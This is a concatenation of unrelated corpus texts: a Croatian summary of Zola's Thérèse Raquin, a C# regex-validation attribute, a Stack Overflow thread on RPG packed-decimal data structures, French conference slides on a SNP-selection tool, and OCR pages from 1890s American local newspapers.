poželjela umrijeti, čak je odbijala hranu par dana. No, duboko u sebi je htjela vidjeti šta će se dogoditi sa tim dvoličnim stvorenjima. I tako su im dani prolazili, u tučnjavama I vikanjima. Tako je jednom Laurent umislio da se u Francoisu krije Camille te ga je bacio preko prozora u sivi susjedov zid. Bolno mačkino mijaukanje se cijelo noć čulo što je obojicu dovodilo do ludila. Krivili su jedno drugog, govorili da nisu nimalo odgovorni… Dok se naposljetku nisu odlučili ubiti. Laurent je iz laboratorija ukrao otrov cijankalij, a Therese je dala naoštriti veliki kuhinjski nož. Slijedeću večer je Laurent ubacio otrov u vodu, a Therese je pokušavala sakriti ogromni nož u naborima svoje suknje. Oboje su se instinktivno okrenuli i shvatili su da imaju na umu istu ideju. Zagrlili se se, strastveno pogledali i ispili otrov. Pali su netom što su ga ispili do kraja. Gospođa Raquin ih je, onako nepomična i njema, gledala takvim pogledom kao da ih hoće satrti svojim nepomičnim očima.
Vanjske veze
(French)
(Vizetelly's English translation)
Litteratureaudio audio version (French)
Librivox audio version (Vizetelly's English translation)
Romani 1867.
Drame 1873.
Djela Émilea Zole
Authority control 2 | 27,169 |
https://github.com/Milvasoft/Milvasoft/blob/master/Milvasoft.Helpers/Attributes/Validation/MilvaRegexAttribute.cs | Github Open Source | Open Source | MIT | 2,022 | Milvasoft | Milvasoft | C# | Code | 357 | 1,088 | using Milvasoft.Helpers.Utils;
using System;
using System.ComponentModel.DataAnnotations;
namespace Milvasoft.Helpers.Attributes.Validation;
/// <summary>
/// Specifies that the class or property that this attribute is applied to requires the specified must match the localized regex.
/// </summary>
[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false)]
public class MilvaRegexAttribute : RegularExpressionAttribute
{
#region Fields
private readonly Type _resourceType = null;
#endregion
#region Properties
/// <summary>
/// Gets or sets the error message spesific content
/// </summary>
public string MemberNameLocalizerKey { get; set; }
/// <summary>
/// Gets or sets localized examle regex format.
/// </summary>
public string ExampleFormatLocalizerKey { get; set; }
/// <summary>
/// Gets or sets property is required.
/// </summary>
public bool IsRequired { get; set; } = true;
#endregion
#region Constructors
/// <summary>
/// Constructor that accepts the maximum length of the string.
/// </summary>
public MilvaRegexAttribute() : base(@"^()$") { }
/// <summary>
/// Constructor that accepts the maximum length of the string.
/// </summary>
public MilvaRegexAttribute(Type resourceType) : base(@"^()$")
{
_resourceType = resourceType;
}
/// <summary>
/// Constructor that accepts the maximum length of the string.
/// </summary>
/// <param name="pattern"></param>
public MilvaRegexAttribute(string pattern) : base(pattern) { }
#endregion
/// <summary>
/// Determines whether the specified value of the object is valid.
/// </summary>
/// <param name="value"></param>
/// <param name="context"></param>
/// <returns></returns>
protected override ValidationResult IsValid(object value, ValidationContext context)
{
var sharedLocalizer = context.GetLocalizerInstance(_resourceType);
var localizedPropName = sharedLocalizer == null ? context.MemberName : sharedLocalizer[$"{LocalizerKeys.Localized}{MemberNameLocalizerKey ?? context.MemberName}"];
if (sharedLocalizer != null)
{
if (IsRequired)
{
if (value != null && !string.IsNullOrWhiteSpace(value.ToString()))
{
var localizedPattern = sharedLocalizer[$"{LocalizerKeys.RegexPattern}{MemberNameLocalizerKey ?? context.MemberName}"];
if (RegexMatcher.MatchRegex(value.ToString(), sharedLocalizer[localizedPattern]))
return ValidationResult.Success;
else
{
var exampleFormat = sharedLocalizer[ExampleFormatLocalizerKey ?? LocalizerKeys.RegexExample + context.MemberName];
ErrorMessage = sharedLocalizer[LocalizerKeys.RegexErrorMessage, localizedPropName, exampleFormat];
return new ValidationResult(FormatErrorMessage(""));
}
}
else
{
ErrorMessage = sharedLocalizer[LocalizerKeys.PropertyIsRequired, localizedPropName];
return new ValidationResult(FormatErrorMessage(""));
}
}
else
{
if (value != null && !string.IsNullOrWhiteSpace(value.ToString()))
{
var localizedPattern = sharedLocalizer[$"{LocalizerKeys.RegexPattern}{MemberNameLocalizerKey ?? context.MemberName}"];
if (RegexMatcher.MatchRegex(value.ToString(), sharedLocalizer[localizedPattern]))
return ValidationResult.Success;
else
{
var exampleFormat = sharedLocalizer[ExampleFormatLocalizerKey ?? LocalizerKeys.RegexExample + context.MemberName];
ErrorMessage = sharedLocalizer[LocalizerKeys.RegexErrorMessage, localizedPropName, exampleFormat];
return new ValidationResult(FormatErrorMessage(""));
}
}
else
{
return ValidationResult.Success;
}
}
}
else
{
if (base.IsValid(value)) return ValidationResult.Success;
else
{
ErrorMessage = $"{LocalizerKeys.PleaseEnterAValid} {context.MemberName}";
return new ValidationResult(FormatErrorMessage(""));
}
}
}
}
| 23,625 |
https://stackoverflow.com/questions/49846819 | StackExchange | Open Web | CC-By-SA | 2,018 | Stack Exchange | Barbara Morris, Charles, Mustapha George, https://stackoverflow.com/users/2296441, https://stackoverflow.com/users/2933177, https://stackoverflow.com/users/4143022, https://stackoverflow.com/users/977711, jmarkmurphy | Danish | Spoken | 319 | 791 | RPG/RPGLE - behavior of data structure containing signed and packed values:
... updating some old code and ran into interesting behavior of data structure containing signed and packed values:
D #SIGNED S 5S 0 INZ
D #PACKED S 5P 0 INZ
D*---
D #AS_1 DS
D #AS1 LIKE(#SIGNED) INZ
D #AS2 LIKE(#SIGNED) INZ
D #AS3 LIKE(#SIGNED) INZ
D #AP_1 DS
D #AP1 LIKE(#PACKED) INZ
D #AP2 LIKE(#PACKED) INZ
D #AP3 LIKE(#PACKED) INZ
C
C* for single signed, this is true
C #AS1 IFEQ *ZEROS
C EXSR MYSR
C ENDIF
C
C* for single packed, this is true
C #AP1 IFEQ *ZEROS
C EXSR MYSR
C ENDIF
C* for DS of signed, this is true
C #AS_1 IFEQ *ZEROS
C EXSR MYSR
C ENDIF
C
C* however for DS of packed, this is false
C #AP_1 IFEQ *ZEROS
C EXSR MYSR
C ENDIF
C
C Eval *INLR = *ON
C Return
*****************************************************************
C MYSR BEGSR
C ENDSR
I assume this is because of how packed is stored internally...
Please don't pummel me for not using /free. I am just fixing old code.
It's a combination of things...
A DS is just a collection of BYTES, since RPG doesn't have a BYTE type, it basically treats it as a collection SBCS characters.
*ZEROS is a Symbolic name that translate to a repeating x'F0' for the length of the compared/assigned to variable.
The character '0' is x'F0', the zoned decimal digit 0 is also 'F0'
A single-digit packed 0 is x'0F'
However,
zoned(5,0) is x'F0F0F0F0F0'
packed(5,0) is x'00000F'
So AS_1 is treated as char(15) x'F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0'
AP_1 is treated as char(9) x'00000F00000F00000F'
So it is easy to see that AS_1 == *ZEROS but AP_1 <> *ZEROS
The character '0' and the zoned decimal digit are x'F0', not x'0F'.
A single digit packed 0 is x'0F' not x'F0'.
@jmarkmurphy...picky aren't you? It was right till I replaced all the 0F with F0 .... :p
| 45,572 |
sn85033781_1897-11-03_1_8_1 | US-PD-Newspapers | Open Culture | Public Domain | 1,897 | None | None | English | Spoken | 1,955 | 3,020 | FSTiVESB Absolutely Puro Catharine Checsemau et al. vs. W'il bur S. Knapp t al; till to cancel deed J.J. CavanaiiKh. Warren Pratt vs. John llalmond; ap peal from justice court. "I was troubled with quinsy for live years. I nomas' hclectne Uil cured me My wife and child had diphtheria it cured them. I would not be without in the house tor any consideration." Kev. K F. Craue, Dunkirk, N. Y. I'rolmte Court I'DM-eeclIng. Following Is a synopsis of the pro feedings in Judge Johnson's court for the week ending rov. 2. Estate of Marriah C. Ayres, incompo tent; order appointing guardiau. Kstate of Jane Cary, incompetent letters of guardianship issued. Estate of Win. K. doodrode, deceas cd; petition for license to sell real es tate; hearing Nov. 2D. Estate of HobertE. Barnes, deceased; order confirming sale of real estate. Estate of Amelia A. Oik, incompetent; letters of guardianship issued." Estate of Ellen L. Preston, deceased; letter of administration issued. Estate of Whitetield V. Ackley, minor: petition for appointment of guardian. A cough is a danger signal of worse troubles to come. Cure the cough and prevent its results by using Dr. Wood's .Norway Fine byrup. Circuit Court. lhc November term of the circuit court will convene on Monday next The jurv will be in attendance one week later. Following is a list of the cases on the calendar: CRIMINAL. 1 People vs. D. 11. Keasey; assault and hattery. 2 People vs. Mortimer H. Strong; violation local option law. 3 Peop'c vs. Chas. J. Crippen; viola lion local option law. 4 People vs. Wm II. Owen; violation local option law. 5 People vs. H. 1). Hicks; violation local option law. 0 People vs. Mortimer II. Strong; violation local option law. People vs. M. A. Engle; violation local option law. People vs. Harvey Milliard; violation local option law. People vs. Fred Bailey; violation local option law. People vs. Wm. H. Smith; violation local option law. People vs. Geo. H. Cross; violation local option law. People vs. I. E. Hamilton; violation local option law. People vs. James Burgess; violation local option law. People vs. James Burgess; violation local option law. People vs. Henry Seaton; burglary. Estate of Estate of A. Sherman, deceased; appeal from probate court. Adolph Felsenthal vs. Almon B. Lee; assumpsit. Adolph Felsenthal vs. A. & L. Felsel; garnishment. Henry Whelpley vs. Clarissa S. Sloughton; appeal. First National Bank vs. Estate of A. Sherman, deceased; appeal from probate court. Adolph Felsenthal vs. Almon B. Lee; appeal from probate court. Adolph Felsenthal vs. Eugene Corning; appeal from probate court. Adolf Bilsborough vs. Eugene Corning; appeal from probate court. Charles W. Hazleton vs. James T. Hazleton; divorce. Francis Bacon vs. George E. Gearing et al; foreclosure. Sarah A. Perry vs. Henry Perry; divorce. Emma Hocui vs. Ferdinand Hoeni; divorce. Francis Bacon vs. Jas. J. Pierce et al; foreclosure. G Minnie Allen vs. William D. Allen; divorce. H. Anner Den Bleyker vs. Caroline Campbell et al; foreclosure. Rose R. Wolf vs. George W. Wolfe; divorce. Dallas C. Ferris et al. vs. Henry Minhall et al; foreclosure. Eliza Nicholas vs. Herbst Nicholas; divorce. CHANGER, 4th CLASS. Surah E. Wood vs. Lyman T. Rawson et al; foreclosure. Francis Bacon vs. Mary A. Pomeroy et al; foreclosure. Francis Bacon vs. Elizabeth Lowry et al; foreclosure. Moses Baldwin vs. Jennie Baldwin; bill to cancel deed. John Wilson vs. Phoebe A. Coleman et al; injunction bill. Nelson Bogue vs. Fred P. Sackett et al; bill in aid of execution. Lester A. Babcock vs. Fannie Babcock; divorce. Wm. J. Scllick vs. Austin O. Beckwith et al; foreclosure. Henry D. Wickett vs. Robt. E. Shaver et al; injunction bill. Catherine Fitzsimmons vs. Michael Fitzsimmons; injunction bill. Gordon Lipley vs. Jas. A. Donahue et al; injunction bill. Chas. E. Abell vs. Village of South Haven; injunction bill. John G. Kemp vs. Carrie M. Strong; bill to cancel deed. LIST OF JURORS. Following is the list of jurors drawn for the November term of the circuit court. They are required to be in attendance on Nov. 15, 1897: Brown, John Arlington Bush, Geo. W. Bloomingdale Burlingame, Cassius Geneva Baybrooks, Geo. C. Lawrence Burke, David Paw Paw Cone, Erastus Bloomingdale Cady, E. L. Hamilton Fisher, A. E. Keeler Farnian, William Porter Hurlbut, Robert Bangor Huyck, Alva H. Decatur Howard, Geo. E. Lawrence Hurd, L.C. Paw Paw Kipp, Isaac C. Hartford Kellogg, H.J. Porter Manning, Fred Almena Merrill, Richard Covert Meachum, Mason Myers, William Keeler Neville, James Hamilton Powers, Elmer Waverly Roberts, Thomas Decatur Rogers, Dewey Columbia Stoker, Levi Antwerp Schuyler, Frank Columbia Stanton, Frank Antwerp Stone, Washburn B. Almena Sherrod, M.J. Waverly Wall, Wm. J. South Haven Webster, Nelson Pine Grove ONE OF TWO WAYS. The bladder was created for one purpose, namely, a receptacle for the urine and as such it is not liable to any form of disease except by one of two ways. The first way is from imperfect action of the kidneys. The second way is from careless local treatment of other diseases. CURE (At high: Unhealthy urine from unhealthy kidneys is the chief cause of other troubles. So the womb, like the bladder, was created for one purpose, and if not doctored too much is not liable to weakness or disease, except in rare cases. It is situated back of and very close to the bladder, therefore any pain, disease, or inconvenience manifested in the kidneys, back, bladder, or urinary passage is often, by mistake, attributed to female weakness or womb trouble of some sort. The error is easily made and may be easily avoided, to turn correctly, set your urine aside for twenty-four hours; a sediment or settling indicates kidney or bladder trouble. The mild and the extraordinary effects of Dr. Kilmer's Swamp Root, the greatest kidney and bladder remedy, is soon realized. If you need a medicine you should have the best. At druggists 50 cents and $1.00. You may have a sample bottle and pamphlet, "both sent free by mail. Mention the Northkukk and send your address to Dr. Kilmer & Co., Binghamton, N.Y. The proprietors of this paper guarantee the genuineness of this offer. What do the Children Drink? Don't give them tea or coffee. Have you tried the new food drink called "CALIFORNIA?" It is delicious and nourishing and taken the place of coffee. The more Grain, O, you give the children the more health you attribute through their virtues. Grain O is made of pure grains, and when properly prepared tastes like the choice varieties of coffee. All grocers make it. 15c and $1.25. There is a class of people who are injured by the use of coffee. Recently there has been placed in all the luxury stores a new preparation called "CALIFORNIA" made of pure grains, that is taken the place of coffee. The most delicate stomach receives it without distress, and but few can tell it from coffee. It does not contain more than as much. Children may drink it with a better flavor. 15c and 25c per package. Try it. Ask for CALIFORNIA. Worn Out? Do you come to the close of the day thoroughly exhausted? Does this continue day after day, possibly week after week? Perhaps you are even too exhausted to sleep. Then something is wrong. All these things indicate that you are suffering from nervous exhaustion and your blood on the other side. Richling. "3 ?! Smtf's Frrmkinn 555 ....... $ of G)d-livcr Oil, with Hypo JJJ phosphites of Lime and Soda, contains just the remedies to meet these wants. The cod liver oil gives the needed strength, enriches the blood, feeds the nerves, and the hy pophosphites give the tone and vigor. Be sure you get SCOTT'S Emulsion. All druggists; 50c. and $1.00. SCOTT & BOWNE, Chemists, New York J. C. WARNER. --GROCER. Come in and see the Largest Line of Fresh and Cured Goods in the village, with Royal Blue Brands in the lead. Lobsters, Corn, Teas, Pippin Tomatoes, Oysters, and many others. 25 lbs of Light Brown Sugar $1.00. "Calumet" Potatoes, Cough Powder, and other Cough Powders. Guaranteed Rapidly to Place Their Trust in "Calumet." NONE I.JAY CUMMINGS--DRY GOODS. Lightest Store, Largest CORSET DEPARTMENT. THE CRESCOP-The Corset that THE LADY One of the best Trongest Long Waists. THE HENDERSON-This line of popularity. Short Corset. We carry a complete line of Medium, Extra Long, in all sizes. The Hosiery, Women's and important stocks in our store. Every dollar's worth in these departments bears the stamp of honest merit. That is what has made these departments wonderfully successful. Lace Curtains, New Goods, Pianos Organs For Thirty Days At Your Own Price. CASH OR PAYMENTS. Will exchange for good Roadster or Bicycle. Call on or write at once, WM. M. BRANCH, Lawrence or Paw Paw, Mich. T.C. TYNER--BOOTS & CALL AND GET THE BEST. Which was NOUG HT RIGHT OUR 55 MERCHANT Which we are selling at ONE-HALE their actual value, gives the young man a chance to dress up stylish with a little money. GOOD. Stock in the County. Cannot Break at the Waist Line fitting Corsets, Medium and Ex of Corsets are fast growing in We ask you to see the New of the Henderson Corsets, Short, Men's Underwear Section are New Styles, Lower Prices. I. JAY CUMINGS. E. Q. BUTLER & CO--GROCERIES IMITATION May be the sincere form of flattery, but it will not do in TEA OR GROCERIES. We aim to keep none but the good, honest brands of goods, and solicit your trade. E. G. BUTLER & CO. Post-Office Block. SHOES, HATS & CAPS. EXAMINE and will be SOLD RIGHT. TAILOR SUITS and will provide with a All the Loves A Winner! All South-western Michigan loves the policy, energy and enterprise of the Great Whale Clothing: "As their prices stoop to conquer" Their gigantic stock shows the varied strength, charm and faultless collection of the finest SUITS, OVERCOATS AND ULSTERS at incomparable values. We give our first attention to MATERIAL next to MANUFACTURE, and with this substantial beginning and then and not until then we begin to figure on the LOWEST PRICE POSSIBLE "and at one price to all." It is this method that has made E. SMITH & CO., the leading clothing emporium of all Michigan. Fancy Scotch Cheviot Sack Suits, We have hardly been able to get our kind of Scotch cheviots fast enough This fall our first big stock was sold almost before we got acquainted with the patterns. Here's another big line, forty-three styles THEY'RE TAILORS FABRICS and TAILORS PATTERNS embracing all the new OLIVE-GREEN, GRAY and WOOD BROWN SHADES in endless combination CHECKS, BROKEN BARS, INVISIBLE PLAIDS. These suits are sewn with silk, have florentine serge linings, piped seams, every Details of linings and trimmings match the prevailing tone of the fabric and each garment is tailored and finished in the usual way. H. S. & M. way. The remarkable thing about this line is that every one of the suits are marked at prices that stoop to conquer. We want you to know how we can serve you better. CO. CLOTHING. Any man's stylish suit here in less time, a tailor can take his measure, we guarantee a better fit than the average tailor turns out. There's nothing in the way of men's wear that we can't supply with substantial saving to you. Before you buy, we want you to get our prices and see the difference between the clothes we sell and those offered in most clothing stores. The H. S. & M. ready-tailored suits and overcoats, the kind bearing this label: HART, SHAFFLER & MARX? GUARANTEED CLOTHING. Are known the country over for their style and quality. World Success! Tell us E. SHITH & CO. J. C. WARNER. | 43,710 |
15/hal.archives-ouvertes.fr-hal-01455928-document.txt_1 | French-Science-Pile | Open Science | Various open science | null | None | None | French | Spoken | 1,251 | 2,226 | Select SNP 4 Imputation (SS4I) : un outil simple de sélection de SNP en fonction du DL Frédéric Herault, Jérémy Yon, Florian Herry, Sophie Allais, Pascale Le Roy To cite this version Select_SNP_4_Imputation (SS4I) : Un outil simple de sélection de SNP en fonction du DL. Frédéric Hérault, Jeremy Yon, Florian Herry, Sophie Allais, Pascale Le Roy Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Select_SNP_4_Imputation (SS4I) Outil développé en Python Sélection d'un panel réduit de SNP: • Puce basse densité • Imputation Sélection basé sur le DL entre chaque paire de SNP au sein d'un chromosome. Structure particulière du génome Gallus gallus..02 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Structure et DL du génome Gallus gallus 39 paires de chromosomes. • Macrochromosomes (GGA1 to GGA5) • Chromosomes intermédiaires (GGA6 to GGA10) • Microchromosomes (GGA11 to GGA 38) • Sexual chromosomes (Z & W). .03 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Structure et DL du génome Gallus gallus Niveau et étendue du DL entre ≠ catégorie de chromosomes.04
Hérault et al. /
Selection
de
SNP
pour
l
'
Imputation
:
SS
4I
Séminaire
MINGS La
Rochelle
octob
re
2016 Principe de fonctionnement
Pour chaque chromosome Calcul du DL entre chaque paire SNP (PLINK). Clustering Hiérarchique Ascendant basé sur le DL. Création dendrogramme. Sélection d'ensemble de SNP répondant au critère de seuil de DL. Sélection d'un SNP représentatif de chaque ensemble. .05 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D GG GD DD DG SNP 1 2 3 4 5 6 7.06 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine DL > Seuil? G D GG GD DD DG SNP 1 2 3 4 5 6 7.07 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D DL > Seuil? GG GD DD DG SNP 1 2 3 4 5 6 7.08 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D GG GD DD DG SNP 1 2 3 4 5 6 7.09 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D DL > Seuil? GG GD DD DG SNP 1 2 3 4 5 6 7.010 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D GG GD DD DG SNP 1 2 3 4 5 6 7.011 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine DL > Seuil? G D GG GD DD DG SNP 1 2 3 4 5 6 7.012 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D GG GD DD DG SNP 1 2 3 4 5 6 7.013 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélections des ensembles de SNP / DL. Racine G D DL > Seuil? GG GD DD DG SNP 1 2 3 4 5 6 7.014 Hérault et al. .016 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélection d'un SNP dans chaque ensemble. Au sein de chaque groupe: • MAF du SNP : la plus forte • Position du SNP / autres SNP du groupe..017 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélection d'un SNP dans chaque ensemble. Au sein de chaque
groupe
:
• MAF du
SNP :
la
plus forte
•
Position du
SNP
/
autres SNP du groupe. SNP MAF +++
Position excentrée.018 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Sélection d'un SNP dans chaque ensemble. Au sein de chaque groupe: • MAF du SNP : la plus forte • Position du SNP / autres SNP du groupe. SNP MAF +++ Position excentrée SNP MAF ++ Position représentative du groupe.019 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Fichier « input » Trois fichiers sont nécessaires au fonctionnement du programme. •
Un
fichier de génotypage au format PLINK «.ped»: 6
colon
nes + génotype, 1 ligne
par individu Family ID, Individual ID, Paternal ID, Maternal ID, Sex, Phenotype & Genotype.020 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Fichier « input » Trois fichiers sont nécessaires au fonctionnement du programme.
• Un fichier de génotypage au format PLINK «.ped» • Un fichier de carte au format PLINK «.map»: 4 colonnes, 1 ligne par SNP Chromosome,
SNP
identifier
, Genetic
distance
, Base-pair position.021 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016
Fichier « input » Trois fichiers sont nécessaires au fonctionnement du programme. • Un fichier de génotypage au format PLINK «.ped» • Un fichier de carte au format PLINK «.map» • Un fichier paramètre
..022 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Fichier « input ».023 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Fichier « input » Si SNP > 40 k SNP sur 1 chromosome => problème mémoire!.024 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Fichier « output » Deux fichiers sont génér
és en sortie. • Un fichier log: rappel des paramètres de l'analyse déroulement de l'analyse. .
Hérault et al / Selection SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016
Fich
ier « output »
Deux fichiers sont générés en sortie. • Un fichier log • Un fichier «
Selected_SNP ».026 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Résultats: Nombre SNP / Chromosome Florian Herry, mémoire de fin d'études Septembre 2016 Optimisation du nombre de SNP sur les macrochromosomes Densification du nombre de SNP sur les microchromosomes.027 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Résultats: Répartition des SNPs..028 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Exécution du programme:
Exécution du programme: bigmem 40 GT Select_SNP_4_Imputation.py Parameters.txt Analyse de 280 k SNPs sur 31 Chromosomes.
Temps d'exécution: 20h
..029 Hérault et al. / Selection de SNP pour l'Imputation: SS4I Séminaire INCoMINGS La Rochelle 10-11 octobre 2016 Merci de votre attention. Hérault et al. / Selection de SNP pour l'Imputation: SS4I. | 48,315 |
sn84026089_1895-12-04_1_3_1 | US-PD-Newspapers | Open Culture | Public Domain | null | None | None | English | Spoken | 7,419 | 10,757 | WEDNESDAY. DEG. 4. 1895. —Go lo Sbamalia’s drug store. — William Cronce, who kept a store at Quakertown (or many years, has become totally blind. —Frank Montgomery, of this city, is now employed as bookkeeper in the store of Nevius Bros., in Flemington. —James Manning has purchased of Edward B. Allen the well-kuown Union Hotel drug store in Flemington. —Jacob H. Holcombe has contracted to keep the legal poor of Delaware town ship for the coming year for $600. —“I am cured since taking Hood’s Sarsaparilla,” is what many thousands are saying. It gives renewed vitality and vigor. —George S. Mott, D. D., preached bis last sermon as pastor of the Presbyterian Church of Flemington on Sunday evening, the 2-tlh ult. —If you are in want of a first-class ar ticle in either Coal or Wood, be sure and see Larison & Marjarum before placing your orders. —Ex Sheriff John T. Cox, of Reading ton, was elected Steward of the National Grunge at the recent session of that body held in Worcester, Mass. —At Shamalia’s, more kinds of medi cines than at any other store. —The Liberty Band’s fair will be held in St. John’s Hall, Jauuary 7lb to the 11th inclusive. Several attractive f.at ures will be presented each evening. —The Leader says that Dr. Maple, for merly pastor of the Milford Christian church, has accepted a call to become pastor of a Christian church at Columbus, Ohio. —The Sand Brook Farmers’ Alliance has recently built a ball and store room, 16x24. This Alliance meets Wednesday evenings, and is constantly increasing In numbers —Wm. Ashton, of New Hope, and Wm. Pierman, of Ibis city, were arrested last Thursday by policeman Morse for disorderly conduct and taken before Jus tice Lyman, who fined them $2 each. —“ Lambertville Puffs ” are still going up in smoke, and Ki.ime's Bridge street store keeps them exclusively. * —A 12 year old daughter of Gideon Heading, living on the Butler farm, near King’s Mills, died from diphtheria on Monday of last week. Mr. Beading has lost four children by death within the past few months. —The Jacob Westfarm, near Pittstown, was sold on Wednesday a week at public sale. Mrs. Sidney Yard was the pur chaser at $40 per acre. The property brought about $3,000 less than the mort gage held by Mrs. Yard. —The farm belonging to Louis and Charles H. Anderson, trustees, formerly the Andrew Cool farm, situated between Flemiogton and Three Bridges, containing 218 acres was sold at public sale recently to Jacob Willever, for $28 per acre. —AngusUis Swarer, of near Sand Brook, is wanted by the authorities on a charge of “ feloniously and forcibly assaulting” Margarette G., the eleven year old daugh ter of Mr. and Mrs. Jesse Smith, of Sand Brook vicinity, on Sunday afternoon, N >v. 24lh. So far he has evaded arrest. —Go toSbsmalia’s ! Patent medicines. —A sharp writer in the Frenchtown In dependent makes an appeal for better street lights in that town. He calls French town at night a paradise for foot-pads and crooks of every degree. In these times a town that is not well lighted at night isn’t doing much to attract attention and im prove its growth. Let Frenchtown put up an electric plant. —The Quakerlown M. E. Church, dam aged by lightning on Sunday, August 4, was redediented last Tuesday. Many of the ministers who have formerly presided over the Church were present. The ser vices were begun at 10 A. M., and were continued duiing the afternoon and even ing. Dinner and supper were provided for all In tbe basement of the Church. —George Loare, a farmer, 70 years of age, residing near Ricgelaville, was found in a culvert underneath the Belvidere Del aware tracks at that place Monday morn ing of last week. He had been struck by an engine while walking on the trestle over tbe culvert. He was taken to the Easton hospital. His injuries consist of a broken wrist and bad bruises all over the body. —At their recent convention the Hun terdon County Union adopted a resolu tion accepting tbe plan for a general evangelistic movement during tbe coming winter. And the societies in the county were urged to-operate as far as possible in tbe conduct of these meetings in their own and neighboring localities. The Ep worlh League and other young people’s org anizations of the county were urged to join in the work. —The three cases of Fish Warden Dun ham, vs. Peter Daniels, D. W. Hoover and William Hoover, was before the Court of Common Pitas on the 15th ult., on appeal from the Justice who rendered a decision against them in July last. The Court dismissed the complaints in all three cases on the ground that the affida vits made by the Warden, upon which the arrests were made, were based upon information and belief and not upon per sonal knowledge. — Rev. Henry Martyn Voorhees, a clergyman well known In this county, died at his home in Claremont, California, on Wednesday last. Mr. Voorhees was pastor of the Reformed Church at High Bridge, but gave up his charge there on account of ill health and went to Califor nia about three years ago. He there be came pastor of the Congregational Church at Escondido, where he preached as long as his health would permit. He leaves a widow, one daughter and two sons. De ceased was a brother to J. Newton Voor hees, Esq , of Flemlogton. HOOD’S PILLS cure Liver Ills, Biliousness, Indigestion, Headache. A pleasant laxative. AH Druggists. —At Sbamalia's, patent medicines are loner than elsewhere. —The “Business Men’s Carnival,” held last Thursday and Friday evenings, net ted about $110 for the Epworth League. —Capt. Van Sciver, of this city, adju tant of the 7th Regt., attended the inspec tion of Co. H., 7tb Regt., at Beverly, last evening. —Epworth League prayer meeting Sun day at 7.80 P. M., led by Harry Cooley. Topic—“Special Consecration for Mis sionary Work.” —Charles Pieman, a young man em ployed at the N. J. Rubber Works in this city, seriously injured bis foot on last Thursday night by oatching it in the ele vator of the mill. —Mrs. Frank Closson, of Barhertown, Kingwood township, was severely scalded one day recently by the accidental over turning of a vessel of boiling water on the stove around which she was working. —All the best brands of smoking and chewing tobacco at Euni’s, 29 Bridge street. * —The Hunterdon Electric Co. has or dered a new engine of 100-horse power for use in their plant in this city. It is a magnificent machine, made by the Ball Engine Co , Erie, Pa. It will be put in operation as soon as possible. —Mr. and Mrs. Silas Nonamaker, of Uingoes, were treated to a genuine sur prise at their home on the afternoon of November 21st. At 2 o’clock in the afternoon, about forty of their friends and neighbors marched in, prepared to spend the afternoon. They not only came for a social lime, but the party carried with them a number of presents. —The Evangelistic services at the Bap tist church continue this week. Rev. Mr. Neil is ably preaching some strong and sound gospel sermons, while the sing ing of Mrs. Neil can lea home the truth in song. They will conclude their work here on Friday evening, when there will he special services of ao attractive char acter. They begin meetings on Sunday next in Bethlehem, Pa. —Howard I. LaBarre, of this city, who had been carrying on the block-making business for two or three years, left town some days ago, probably not to return. His financial affairs are quite involved and he owes to various persons, including em ployes, several thousand dollars. It is also charged that some of his business transactions were of such a character as to make him amenable to the law. He recently made ao assignment. —Mr. J. B. Kline has put down a fine flag-stone pavement in front of his store on Bridge street. —Keokuk Council, No. 9, D. of P., will hold a fair in Holcombe Ilall, Dec. 10th, 11th and 12th. The “Pbunny Pbei lows” will give a short entertainment each night. Music by an Orchestra. There will be voting on an oak bedroom suit, side hoard, 